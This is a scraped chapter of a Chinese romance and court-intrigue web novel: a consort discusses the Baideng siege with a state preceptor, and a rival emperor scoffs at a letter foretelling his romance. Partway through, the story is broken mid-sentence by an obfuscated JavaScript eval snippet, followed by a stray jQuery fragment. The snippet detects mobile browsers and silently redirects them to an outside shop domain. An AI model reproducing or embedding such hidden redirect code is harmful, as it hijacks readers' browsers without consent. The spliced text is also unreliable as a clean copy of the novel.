文趣网 > 都市小说 > 收仇敌之子做我裙下臣 > 31. 红鸾
    自齐国向大宁下了战书后,近来宋贤达倒难得地勤政起来,朝臣们被传召的次数都比从前多上一些,连无遗也不例外。

    这日因宋贤达白日里传召了无遗,为景阳宫换符一事也只得推迟到了夜里。

    无遗至景阳宫时,陈晚荣已经用过了晚膳,正坐在院子里梨花树下的石几旁,翻着一本不知从何处找来的旧书,见他来了,微微颔首,嘴角也浮现一抹笑意。

    待无遗将符咒悉数更换完毕,陈晚荣并不急着让他走,而是十分自然地抬头看了一眼天上的月亮,眉眼弯弯道。

    “今夜月色不错,国师若是没有旁的事,便随我在院中坐坐吧。阿岚,备茶。”

    无遗没有推辞,应她的话在她对面坐下——近两年的后宫生活里,他们早就形成了一种默契,每次无遗定期来景阳宫更换符纸后,陈晚荣总会邀他多留一会儿,这几乎已经成了一种惯例,至于原因,二人心知肚明,却从未点破。

    阿岚奉了茶后,无声退下。

    石几上点了一盏灯。院中无风,那灯便也落得个安稳,静静吐着光焰,照明这院落的一角。

    梨花树的叶子早已落尽,此时落在石桌上的,也不过几截横斜清瘦的影子。

    正如端坐在石桌那头的人一样。

    寻常他也总是这般静坐无声,只有陈晚荣问他时,才会淡淡答上几句。后来相处久了,二人逐渐熟悉了彼此的节奏,隔案对坐时若无话,便会各自做些自己的事,只消知道对方还在,便已足够。

    今夜亦是如此,陈晚荣翻书,无遗则从袖子里掏出随身携带的纸笔,低头专注地在纸面上写些什么。

    偶尔书看得乏了,她便会以手支起脑袋,目光静静落在对面的白色身影上。

    他的坐姿很端正,写信的时候稍稍低头,烛火照亮他半张面容,勾勒出一段极为流畅的金色线条。两根系在发冠上的素缨此时也垂落下来,十分服帖地沿着他的长发蜿蜒向下,好似两条无声的溪流,衬得他整个人都安静极了。

    陈晚荣的目光顺势向下,最终落在了无遗那只写字的手上。

    他的手生得十分好看,烛火照在分明的骨节上,隐隐都泛着一层莹润的光。挥笔之间,纸面上便又多出了几行齐整清隽的字迹。

    定睛看去,用的却不是他平日画符的朱砂墨——看来此刻写的并不是符。

    无遗似乎也注意到了她的凝视,但没有动,任凭她打量自己。

    只是他落笔的速度,比方才慢上了一些。

    从陈晚荣的角度,只能隐约看到字迹背面的墨痕,虽看不清写了什么,但她能注意到无遗落笔的节奏,和那字迹大致的形样。偶尔写到某处时,他的笔会短暂地停上一会儿,瞧着似乎是在斟酌措辞。

    陈晚荣看出些门道,随意问了一句。

    “国师是在给你那位友人写信吗?”

    无遗执笔的手微微一顿,尔后很轻很慢地,点了点头。

    陈晚荣笑了笑,倒也不再追问,低下头,重又去看那本史书了。

    月夜静谧,偶尔无遗不知写什么时,会略略抬头,陈晚荣若是注意到,便会仰面冲他笑笑。

    然后他就会收了目光,低头继续去写那封信了。

    过了一会儿,无遗的信已经写完。陈晚荣再看向他时,那封信已被叠成了一个规矩的形状,被他收进了袖中。

    大约是要走了,他与她对视时,目光下意识落在她手上捧着的那本旧书上,微微一顿,然后问出了今夜,他向她提出的第一个问题。

    “娘娘在看些什么?”

    陈晚荣扫了眼摊在面前的那页,答道。

    “一些前人的典故。方才在看的那则,讲的是白登之围。”

    她将书放在石几上,平摊开来,指尖落在泛黄的书页上,思索着他是否听过此事,又组织下语言,完整地将其概述了一遍。

    “讲的是大汉的天子带着几十万兵马,去讨伐匈奴,却被匈奴用计引上白登山,困了七日,断水绝粮,外援不至。最后是他手底下一个叫陈平的谋士进了敌营,说服了单于的妻子阏氏,让她去劝谏单于,汉军这才趁机得了一个缺口,突围出去。之后两边各自撤兵,两国也结了和亲之约。”

    无遗略一颔首,又见她眉心微蹙,手指停留在那句“其计秘,世莫得闻”上面,神情似是有些困惑。

    他思索片刻,便接过话道。

    “民间多传,是陈平让人画了汉朝的美人图派人送给了阏氏,诓她说汉天子欲将这些美人献与单于求和,阏氏怕自己会因此失宠,故而才拼命说服单于,使其退兵。但看娘娘神情,似是不认同这个说法。”

    陈晚荣有些讶异,转而静静笑道。

    “国师原来知道,倒显得我方才白费了一番口舌。”

    她的目光又落在纸页上,“只是觉得,其中秘辛不会似传闻中那般简单。单于怎么会凭着几句枕边风就被吹退?只怕是忌惮。于外,困兽犹斗,他怕汉军临末死战,折损他太多兵马。于内,原本与冒顿单于约好会合时间的几支军队没有按时到来,加之草原的部落势力本就错综复杂,万一单于在此战中有个三长两短,其他部落势必会反扑。此三者,怕才是单于退兵的真正缘由。”

    她顿了顿,忽又抬头看向他。

    “如此看来,瞧着坚不可摧的强敌,内里往往才是最脆弱的。若要破局,刀锋不该向外,而该向内。”

    说完这句,她的目光却没有落回书页上,而是越过院墙,望向了西面的天际。

    夜空无云,只有一轮明月高悬,并无端倪。

    但她的眉心却蹙了一下,似是透过那片天幕,看见了些旁的东西。

    过了一会儿,陈晚荣收回了目光,语气也比方才要放轻了些。

    “如今齐国陈兵在侧,倘若当真有那么一天……”

    她没有再说下去,低头看了一眼摊在面前的书页,手指无意识地摩挲过那句“其计秘,世莫得闻”。

    无遗没有接话,而是拿起茶壶,为她添了一杯热茶,又推到她手边。

    做完这个动作后,他略略抬眼,看了她一瞬,眼中浮起些许笑意。

    “娘娘方才说的那些,已经足够了。”

    他起身,行了一礼,缓声道。

    “臣告退。”

    陈晚荣没有出声挽留。

    但无遗方才那句话,让她心中忽然生出些奇怪的感觉——他好像并不像一个国师,或者说,不只是个国师。

    再看时,那人已走入了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617078|204799||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    月色中。唯有他的影子投在宫道上,被月色拖得很长。

    ……

    齐国,御书房内。

    案前那人正襟危坐,目光掠过桌上那张平铺开来的地图,上面有朱笔批阅过的痕迹——围绕齐国的六国已被挨个圈起,各自打了一个“×”,唯有一道赤色箭头,指向地图正中的那一片区域,即大宁王朝。

    何辞白已来了一会儿,正立在他御案旁不远处,低着头,面上神情专注,似在等他示下。

    却在此时,一声通报从御书房门口传来,在空旷的殿内显得格外清晰。

    “陛下,大宁国师来信。”

    听到“大宁”二字时,一旁的何辞白下意识抬起眼,见内侍恭恭敬敬将信呈给了案后那人——也就是如今的齐国皇帝,祁自缘。

    祁自缘将目光从地图上移开,接过信,挥手令内侍退下,随意将信拆了展开。

    何辞白屏住呼吸,用余光留意着祁自缘读信时的神色。

    前半截应当没什么要紧内容,因为祁自缘从始至终都如往日一般,面无表情。

    直到看到后半部分时,他的神情终于有了变化——她清楚地听到祁自缘冷笑了一声。

    “一派胡言。”

    这话他说得没什么起伏,但那言辞里的不悦之意还是让她心惊了一下,忙不迭问道。

    “大宁国师在信中写了什么,竟惹得陛下如此动气?”

    祁自缘将信重重扣在案上,抬头迎上何辞白的目光,嘴角那抹冷笑的弧度似乎又向外扩了一些。

    “朕本以为,成日里被人传作断袖已经够荒谬了,谁曾想信中竟还有比这更为荒谬之事。”

    何辞白又是一惊,反复斟酌了措辞,又见他面上并无怒极时的阴沉之色,方才敢开口。

    “是……怎样的荒谬之事?”

    祁自缘顿了一瞬,语气十分平淡,言语间却不难听出讽刺之意。

    “他给朕算了一卦,说是朕的红鸾星动了。”

    尔后嗤之以鼻,又补了一句。

    “朕看他是在大宁国都待太久了,脑子也跟那大宁皇帝一样,变得不大好使。”

    何辞白嘴角一抽,随后迅速低下头去,任侧脸的碎发落下来,掩去了她的神情。

    这等百年难遇的事,竟会落到自个效忠的君王头上,何况面前这位还是个冷心冷情,成日为着政务废寝忘食的主,这一卦算下来,便愈发可乐了。

    天知道她费了多大的劲,才忍住没笑出声来。

    好在祁自缘并没有注意到她大不敬的行为,只是很快又提起笔,束发金冠垂下的几缕流苏遮去了他的眉眼,只能隐约看见那人锋利的下颚,和行笔时仍如铁画银钩般凌厉的气势。

    他写字的速度很快,不过一会儿就停了笔,又将信搁在一边,再抬头时,面上已恢复了往日的平静。

    “辞白。”

    听他冷不丁这一声唤,何辞白端正了仪态,从容不迫地应道。

    “臣在。”

    祁自缘的目光在她身上停留了一瞬,眼中有一抹微不可察的欣慰之意,但很快又越过她,落在了御书房门外那片广阔的天空,语声冷冽。

    “即刻吩咐下去,明日让兵部将粮草辎重再核验一遍。”